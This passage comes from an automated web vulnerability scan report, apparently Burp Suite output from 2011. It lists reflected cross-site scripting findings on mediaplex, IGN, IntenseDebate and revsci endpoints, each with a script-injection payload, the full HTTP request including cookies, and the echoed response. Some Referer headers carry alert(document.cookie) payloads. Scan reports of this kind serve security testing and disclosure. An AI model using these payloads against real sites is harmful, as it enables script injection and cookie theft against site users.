<a href="http://pixel.mathtag.com/click/img%3Fmt_aid%3D55758597716581794%26mt_id%3D109284%26mt_adid%3D100376%26mt_uuid%3D4d3702bc-839e-0690-5370-3c19a9561295%26redirect%3Dhttp://altfarm.mediaplex.com/ad/ck/17339-119294-3601-11?mpt=55758597716581794ab852"><script>alert(1)</script>99d91a9601e" TARGET="_blank">
...[SNIP]...

3.250. http://img.mediaplex.com/content/0/17339/119294/PCMag_PCMag_728x90_Q1_2011.html [mpck parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://img.mediaplex.com
Path:	/content/0/17339/119294/PCMag_PCMag_728x90_Q1_2011.html

Issue detail

The value of the mpck request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dad48"%3balert(1)//0f2369ad7c6 was submitted in the mpck parameter. This input was echoed as dad48";alert(1)//0f2369ad7c6 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /content/0/17339/119294/PCMag_PCMag_728x90_Q1_2011.html?mpck=altfarm.mediaplex.com%2Fad%2Fck%2F17339-119294-3601-11%3Fmpt%3D55758597716581794dad48"%3balert(1)//0f2369ad7c6&mpt=55758597716581794&mpvc=http://pixel.mathtag.com/click/img%253Fmt_aid%253D55758597716581794%2526mt_id%253D109284%2526mt_adid%253D100376%2526mt_uuid%253D4d3702bc-839e-0690-5370-3c19a9561295%2526redirect%253D HTTP/1.1
Host: img.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/728x90/thechive_us?t=1297045702914&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F25
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=517004695355; mojo3=17339:3601/14302:23636/4608:12284/16228:10420/15017:34880/9609:2042/11606:17922/1551:17023/11293:3113

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 02:28:19 GMT
Server: Apache
Last-Modified: Fri, 07 Jan 2011 19:10:35 GMT
ETag: "4c7666-d83-499465f7360c0"
Accept-Ranges: bytes
Content-Length: 7035
Content-Type: text/html; charset=ISO-8859-1

<HTML>
<BODY LEFTMARGIN="0" TOPMARGIN="0" MARGINWIDTH="0" MARGINHEIGHT="0">
<NOSCRIPT>
<a href="http://pixel.mathtag.com/click/img%3Fmt_aid%3D55758597716581794%26mt_id%3D109284%26mt_adid%3D100376%2
...[SNIP]...
t_aid%3D55758597716581794%26mt_id%3D109284%26mt_adid%3D100376%26mt_uuid%3D4d3702bc-839e-0690-5370-3c19a9561295%26redirect%3Dhttp://altfarm.mediaplex.com/ad/ck/17339-119294-3601-11?mpt=55758597716581794dad48";alert(1)//0f2369ad7c6\" target=\"_blank\">
...[SNIP]...

3.251. http://img.mediaplex.com/content/0/17339/119294/PCMag_PCMag_728x90_Q1_2011.html [mpvc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://img.mediaplex.com
Path:	/content/0/17339/119294/PCMag_PCMag_728x90_Q1_2011.html

Issue detail

The value of the mpvc request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3b74d"%3balert(1)//13606830cfa was submitted in the mpvc parameter. This input was echoed as 3b74d";alert(1)//13606830cfa in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /content/0/17339/119294/PCMag_PCMag_728x90_Q1_2011.html?mpck=altfarm.mediaplex.com%2Fad%2Fck%2F17339-119294-3601-11%3Fmpt%3D55758597716581794&mpt=55758597716581794&mpvc=http://pixel.mathtag.com/click/img%253Fmt_aid%253D55758597716581794%2526mt_id%253D109284%2526mt_adid%253D100376%2526mt_uuid%253D4d3702bc-839e-0690-5370-3c19a9561295%2526redirect%253D3b74d"%3balert(1)//13606830cfa HTTP/1.1
Host: img.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/728x90/thechive_us?t=1297045702914&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F25
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=517004695355; mojo3=17339:3601/14302:23636/4608:12284/16228:10420/15017:34880/9609:2042/11606:17922/1551:17023/11293:3113

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 02:28:25 GMT
Server: Apache
Last-Modified: Fri, 07 Jan 2011 19:10:35 GMT
ETag: "4c7666-d83-499465f7360c0"
Accept-Ranges: bytes
Content-Length: 7011
Content-Type: text/html; charset=ISO-8859-1

<HTML>
<BODY LEFTMARGIN="0" TOPMARGIN="0" MARGINWIDTH="0" MARGINHEIGHT="0">
<NOSCRIPT>
<a href="http://pixel.mathtag.com/click/img%3Fmt_aid%3D55758597716581794%26mt_id%3D109284%26mt_adid%3D100376%2
...[SNIP]...
AM NAME=\"FlashVars\" VALUE=\"clickTAG=http://pixel.mathtag.com/click/img%3Fmt_aid%3D55758597716581794%26mt_id%3D109284%26mt_adid%3D100376%26mt_uuid%3D4d3702bc-839e-0690-5370-3c19a9561295%26redirect%3D3b74d";alert(1)//13606830cfahttp://altfarm.mediaplex.com%2Fad%2Fck%2F17339-119294-3601-11%3Fmpt%3D55758597716581794&clickTag=http://pixel.mathtag.com/click/img%3Fmt_aid%3D55758597716581794%26mt_id%3D109284%26mt_adid%3D100376%26mt
...[SNIP]...

3.252. http://img.mediaplex.com/content/0/17339/119294/PCMag_PCMag_728x90_Q1_2011.html [mpvc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://img.mediaplex.com
Path:	/content/0/17339/119294/PCMag_PCMag_728x90_Q1_2011.html

Issue detail

The value of the mpvc request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f8664"><script>alert(1)</script>402fe2e856b was submitted in the mpvc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /content/0/17339/119294/PCMag_PCMag_728x90_Q1_2011.html?mpck=altfarm.mediaplex.com%2Fad%2Fck%2F17339-119294-3601-11%3Fmpt%3D55758597716581794&mpt=55758597716581794&mpvc=http://pixel.mathtag.com/click/img%253Fmt_aid%253D55758597716581794%2526mt_id%253D109284%2526mt_adid%253D100376%2526mt_uuid%253D4d3702bc-839e-0690-5370-3c19a9561295%2526redirect%253Df8664"><script>alert(1)</script>402fe2e856b HTTP/1.1
Host: img.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/728x90/thechive_us?t=1297045702914&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F25
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=517004695355; mojo3=17339:3601/14302:23636/4608:12284/16228:10420/15017:34880/9609:2042/11606:17922/1551:17023/11293:3113

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 02:28:23 GMT
Server: Apache
Last-Modified: Fri, 07 Jan 2011 19:10:35 GMT
ETag: "4c7666-d83-499465f7360c0"
Accept-Ranges: bytes
Content-Length: 7221
Content-Type: text/html; charset=ISO-8859-1

<HTML>
<BODY LEFTMARGIN="0" TOPMARGIN="0" MARGINWIDTH="0" MARGINHEIGHT="0">
<NOSCRIPT>
<a href="http://pixel.mathtag.com/click/img%3Fmt_aid%3D55758597716581794%26mt_id%3D109284%26mt_adid%3D100376%26mt_uuid%3D4d3702bc-839e-0690-5370-3c19a9561295%26redirect%3Df8664"><script>alert(1)</script>402fe2e856bhttp://altfarm.mediaplex.com/ad/ck/17339-119294-3601-11?mpt=55758597716581794" TARGET="_blank">
...[SNIP]...

3.253. http://insider.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://insider.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5ebc7"-alert(1)-"062695013bc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?5ebc7"-alert(1)-"062695013bc=1 HTTP/1.1
Host: insider.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:52:29 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:52:29 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-26779-523823660-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:52:29 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043549456v-1n-12mc+1297043549456mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 111682

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN Insider: Premi
...[SNIP]...
<script>
   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://insider.ign.com/?5ebc7"-alert(1)-"062695013bc=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.254. http://insider.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://insider.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8a4ca"><script>alert(1)</script>7ce259de827 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?8a4ca"><script>alert(1)</script>7ce259de827=1 HTTP/1.1
Host: insider.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:52:27 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:52:27 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-12684-690938545-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:52:27 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043547222v-1n-12mc+1297043547222mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 111718

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN Insider: Premi
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://insider.ign.com/?8a4ca"><script>alert(1)</script>7ce259de827=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.255. http://intensedebate.com/js/getCommentCounts.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://intensedebate.com
Path:	/js/getCommentCounts.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 66cae'><script>alert(1)</script>dcb28d609a3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /js/getCommentCounts.php66cae'><script>alert(1)</script>dcb28d609a3?src=wp-2&acct=847fca0ae90336fffd5b60f6203a91c0&ids=170683|170617|170255|170590|170511|170141|170427|170464|170674|170369|170354|170367|170327|170303|169789|170162|&guids=http%253A%252F%252Fthechive.com%252F%253Fp%253D170683|http%253A%252F%252Fthechive.com%252F%253Fp%253D170617|http%253A%252F%252Fthechive.com%252F%253Fp%253D170255|http%253A%252F%252Fthechive.com%252F%253Fp%253D170590|http%253A%252F%252Fthechive.com%252F%253Fp%253D170511|http%253A%252F%252Fthechive.com%252F%253Fp%253D170141|http%253A%252F%252Fthechive.com%252F%253Fp%253D170427|http%253A%252F%252Fthechive.com%252F%253Fp%253D170464|http%253A%252F%252Fthechive.com%252F%253Fp%253D170674|http%253A%252F%252Fthechive.com%252F%253Fp%253D170369|http%253A%252F%252Fthechive.com%252F%253Fp%253D170354|http%253A%252F%252Fthechive.com%252F%253Fp%253D170367|http%253A%252F%252Fthechive.com%252F%253Fp%253D170327|http%253A%252F%252Fthechive.com%252F%253Fp%253D170303|http%253A%252F%252Fthechive.com%252F%253Fp%253D169789|http%253A%252F%252Fthechive.com%252F%253Fp%253D170162|&links=http%3A%2F%2Fthechive.com%2F2011%2F02%2F05%2Ffirst-ever-aerial-footage-of-uncontacted-amazon-tribe-released%2F|http%3A%2F%2Fthechive.com%2F2011%2F02%2F04%2Fbest-photos-of-the-week-50-photos-24%2F|http%3A%2F%2Fthechive.com%2F2011%2F02%2F04%2Fdaily-afternoon-randomness-in-hq-33-photos%2F|http%3A%2F%2Fthechive.com%2F2011%2F02%2F04%2Fbest-links-on-the-internet-259%2F|http%3A%2F%2Fthechive.com%2F2011%2F02%2F04%2Fthere-are-sexy-chivers-among-us-64-photos%2F|http%3A%2F%2Fthechive.com%2F2011%2F02%2F04%2Fwhoever-said-pro-wrestling-was-fake-didnt-watch-this-condensed-version%2F|http%3A%2F%2Fthechive.com%2F2011%2F02%2F04%2Fuseless-friday-facts-10-photos-2%2F|http%3A%2F%2Fthechive.com%2F2011%2F02%2F04%2Feverybodys-least-favorite-house-guest-scumbag-steve-30-photos%2F|http%3A%2F%2Ftheberry.com%2F2011%2F02%2F04%2Fdo-not-apologize-for-awesomeness-30-photos%2F|http%3A%2F%2Fthechive.com%2F2011%2F02%2F04%2Fball-girls-are-the-poor-mans-sexy-tennis-star-28-photos%2F|http%3A%2F%2Fthechive.com%2F2011%2F02%2F04%2Fmove-over-nasa-11-photos%2F|http%3A%2F%2Fthechive.com%2F2011%2F02%2F04%2Funder-boob-is-my-personal-renewable-energy-source-24-photos%2F|http%3A%2F%2Fthechive.com%2F2011%2F02%2F04%2Ffound-rare-photos-of-the-wright-brothers-inventing-that-thing-that-we-take-for-granted-24-photos%2F|http%3A%2F%2Fthechive.com%2F2011%2F02%2F04%2Ftoothpicks-man-wtf-not-20-photos%2F|http%3A%2F%2Fthebrigade.com%2F2011%2F02%2F04%2Fthis-is-our-weekend-28-photos%2F|http%3A%2F%2Fthechive.com%2F2011%2F02%2F04%2Fits-friday-you-could-use-some-photobombs-31-photos-5%2F|&titles=First%2Bever%2Baerial%2Bfootage%2Bof%2Buncontacted%2BAmazon%2Btribe%2Breleased%2B%2528video%2529|Best%2Bphotos%2Bof%2Bthe%2Bweek%2B%252850%2BPhotos%2529|Daily%2BAfternoon%2BRandomness%2Bin%2BHQ%2B%252833%2BPhotos%2529|Best%2Blinks%2Bon%2Bthe%2Binternet|There%2Bare%2BSexy%2BChivers%2BAmong%2BUs%2B%252864%2BPhotos%2529|Whoever%2Bsaid%2Bpro%2Bwrestling%2Bwas%2Bfake%2Bdidn%2527t%2Bwatch%2Bthis%2B%2528short%2Bversion%2529|Friday%2Bfacts%2Bfit%2Bfor%2Ban%2Bobtuse%2Bking%2B%252810%2BPhotos%2529|Everybody%2527s%2Bleast%2Bfavorite%2Bhouse%2Bguest%252C%2BScumbag%2BSteve%2B%252830%2BPhotos%2529|theBERRY%253A%2BDo%2Bnot%2Bapologize%2Bfor%2BAWESOMENESS%2B%252830%2Bphotos%2529|Ball%2Bgirls%2Bare%2Bthe%2Bpoor%2Bman%2527s%2Bsexy%2Btennis%2Bstar%2B%252828%2BPhotos%2529|Move%2Bover%2BNASA%2B%252811%2Bphotos%2529%2B|Under-boob%2Bis%2Bmy%2Bpersonal%2Brenewable%2Benergy%2Bsource%2B%252824%2Bphotos%2529|Found%2521%2BRare%2Bphotos%2Bof%2Bthe%2BWright%2BBrothers%2Binventing%2Bthat%2Bthing%2Bthat%2Bwe%2Btake%2Bfor%2Bgranted%2B%252824%2Bphotos%2529|Toothpicks%252C%2Bman.%2BWTF%2Bnot%253F%2B%252820%2BPhotos%2529|theBRIGADE%253A%2BFirepower%2BAfternoon%2BRandomness%2B%252829%2BHQ%2BPhotos%2529|It%2527s%2BFriday%252C%2Byou%2Bcould%2Buse%2Bsome%2Bphotobombs%2B%252831%2BPhotos%2529|&authors=Leo|Bob|John|Bob|John|Bob|Bob|John|Emily|Bob|Leo|Leo|Leo|Bob|Rick|John|&times=2011-02-05%2B19%253A31%253A40|2011-02-05%2B06%253A00%253A54|2011-02-04%2B22%253A01%253A24|2011-02-04%2B22%253A00%253A38|2011-02-04%2B19%253A55%253A32|2011-02-04%2B19%253A45%253A41|2011-02-04%2B19%253A08%253A44|2011-02-04%2B18%253A47%253A24|2011-02-04%2B18%253A00%253A08|2011-02-04%2B17%253A28%253A01|2011-02-04%2B17%253A18%253A31|2011-02-04%2B17%253A15%253A29|2011-02-04%2B17%253A09%253A41|2011-02-04%2B16%253A33%253A40|2011-02-04%2B16%253A02%253A18|2011-02-04%2B15%253A00%253A41| HTTP/1.1
Host: intensedebate.com
Proxy-Connection: keep-alive
Referer: http://thechive.com/?ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=239309019.1296494785.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __qca=P0-1269071080-1296494784940; __utma=239309019.1543046413.1296494785.1296494785.1296494785.1

Response

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 07 Feb 2011 02:25:24 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Vary: Accept-Encoding
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Content-Length: 9156

   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
   <html xmlns="http://www.w3.org/1999/xhtml">
   <head>
   <meta http-equiv="Conte
...[SNIP]...
<script type='text/javascript' src='http://wordpress.com/remote-login.php?action=js&id=120742&host=intensedebate.com&back=http://intensedebate.com/js/getCommentCounts.php66cae'><script>alert(1)</script>dcb28d609a3?src=wp-2&acct=847fca0ae90336fffd5b60f6203a91c0&ids=170683|170617|170255|170590|170511|170141|170427|170464|170674|170369|170354|170367|170327|170303|169789|170162|&guids=http%253A%252F%252Fthechive.co
...[SNIP]...

3.256. http://intensedebate.com/js/wordpressTemplateLinkWrapper2.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://intensedebate.com
Path:	/js/wordpressTemplateLinkWrapper2.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 1a4ba'><script>alert(1)</script>16e6c3b3bc0 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /js/wordpressTemplateLinkWrapper2.php1a4ba'><script>alert(1)</script>16e6c3b3bc0?acct=847fca0ae90336fffd5b60f6203a91c0 HTTP/1.1
Host: intensedebate.com
Proxy-Connection: keep-alive
Referer: http://thechive.com/?ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=239309019.1296494785.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __qca=P0-1269071080-1296494784940; __utma=239309019.1543046413.1296494785.1296494785.1296494785.1

Response

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 07 Feb 2011 02:25:07 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Vary: Accept-Encoding
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Content-Length: 4769

   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
   <html xmlns="http://www.w3.org/1999/xhtml">
   <head>
   <meta http-equiv="Conte
...[SNIP]...
<script type='text/javascript' src='http://wordpress.com/remote-login.php?action=js&id=120742&host=intensedebate.com&back=http://intensedebate.com/js/wordpressTemplateLinkWrapper2.php1a4ba'><script>alert(1)</script>16e6c3b3bc0?acct=847fca0ae90336fffd5b60f6203a91c0'>
...[SNIP]...

3.257. http://intensedebate.com/remoteVisit.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://intensedebate.com
Path:	/remoteVisit.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 670de'><script>alert(1)</script>ed9dfd6b861 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /remoteVisit.php670de'><script>alert(1)</script>ed9dfd6b861?acct=847fca0ae90336fffd5b60f6203a91c0&time=1297045538634 HTTP/1.1
Host: intensedebate.com
Proxy-Connection: keep-alive
Referer: http://thechive.com/?ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=239309019.1296494785.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __qca=P0-1269071080-1296494784940; __utma=239309019.1543046413.1296494785.1296494785.1296494785.1

Response

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 07 Feb 2011 02:25:05 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Vary: Accept-Encoding
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Content-Length: 4765

   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
   <html xmlns="http://www.w3.org/1999/xhtml">
   <head>
   <meta http-equiv="Conte
...[SNIP]...
<script type='text/javascript' src='http://wordpress.com/remote-login.php?action=js&id=120742&host=intensedebate.com&back=http://intensedebate.com/remoteVisit.php670de'><script>alert(1)</script>ed9dfd6b861?acct=847fca0ae90336fffd5b60f6203a91c0&time=1297045538634'>
...[SNIP]...

3.258. http://js.revsci.net/gateway/gw.js [csid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://js.revsci.net
Path:	/gateway/gw.js

Issue detail

The value of the csid request parameter is copied into the HTML document as plain text between tags. The payload db679<script>alert(1)</script>a69bfead40b was submitted in the csid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /gateway/gw.js?csid=C07583db679<script>alert(1)</script>a69bfead40b HTTP/1.1
Host: js.revsci.net
Proxy-Connection: keep-alive
Referer: http://cheats.ign.com/?7cd43%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ebc6f5a7fbe9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: NETID01=TSeEzxMBEwoAABzXtKIAAAAt; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=0105974ea67d21e1&F08747&0&4d6e5e16&0&&4d4637e7&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d6e5f77&0&&4d464cb2&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIj9HMAYU1O2Wcy9VhaUnnO3kqSOW7cwv688KTf4lzLByLK99sFdgyRpSewtLsqjv1EGWeoQZgT8GBbMy4C+WAGvKUzcl8ewvpGqJGapf0hlb6gqVHp1FnrFw6bHHdeElDxchEkBBA/aMfAv0/tNatMAEfNtLFb/yzYRSLc46LwnGJADodagM6Wca/VqJRtensSzktRzm4GHJVJSGkyeYJLQ9ykWgK3LbxN7C4mXJsOWvdeheswOfHvpS1K+NdyMeMvCkRYBb/dCoUFxY/4/wjpS/NwVx5iRePyh8dGorcBc1v+mttC7MB+rGIsCWck8flZTaDlfChAf0D6OmhvJYQ2qWLCUoghxVrMrMcC/+/YA2PyCkHWf0lmaSGwTl9cTAOg/OoNdTenkBpRpGyqvvjFySpQlcxN/ClBfvGyn8ABhz9MZMMQAGl4D8JNyF45kjLNzxI8iny+YVMrsJinbCpgaKRBQ7DjmxhdguZyZ5K4NCGD/zsVeSeGyB0OuEUIfQ2OAGscwWsBJyqyoPkxDS6ZCyHr4zWIMXP6V71lZXhNFqZUNL5MtKjCr5ID2PtAK2odsWWnZAdM24amasti2vUR2El8IQ29YQ3HvlB6T3uvxviRFFV3FQIJHlNYFgbrF+dn3dCuKaj3puI1+V8Ea0u4C8Gs95xmAq6pUz67TmTZH7A+786JiHd230WWkASw2LVjS9znPROOW/0PQXq0BULWhQ8ImFNBEBtbp++A6i2QgUdINTiaX4rgNIY7cknFzlul7MTwKT1FRTGCDrZm2y7Hi9cOHfczZKvyx4GExsEt9prTRdyLMR00nxKPqTJo26pK7K2v/mNRTDx0mmDsWiXkh7gEuH1rdY3880UmeJ/H0iXCGF0aSN4gTMIrl012zMpjxYdxtDjZtwatB/98R1+dkcFUWpvgB77+3EsG/GAS1cQLgK9AxKpFOGZlanKP0WaHfldw7qLfIh8CXZ/AJUUze9y/syub9qKwTG0wZmlnMv4Wk4SDHR6/1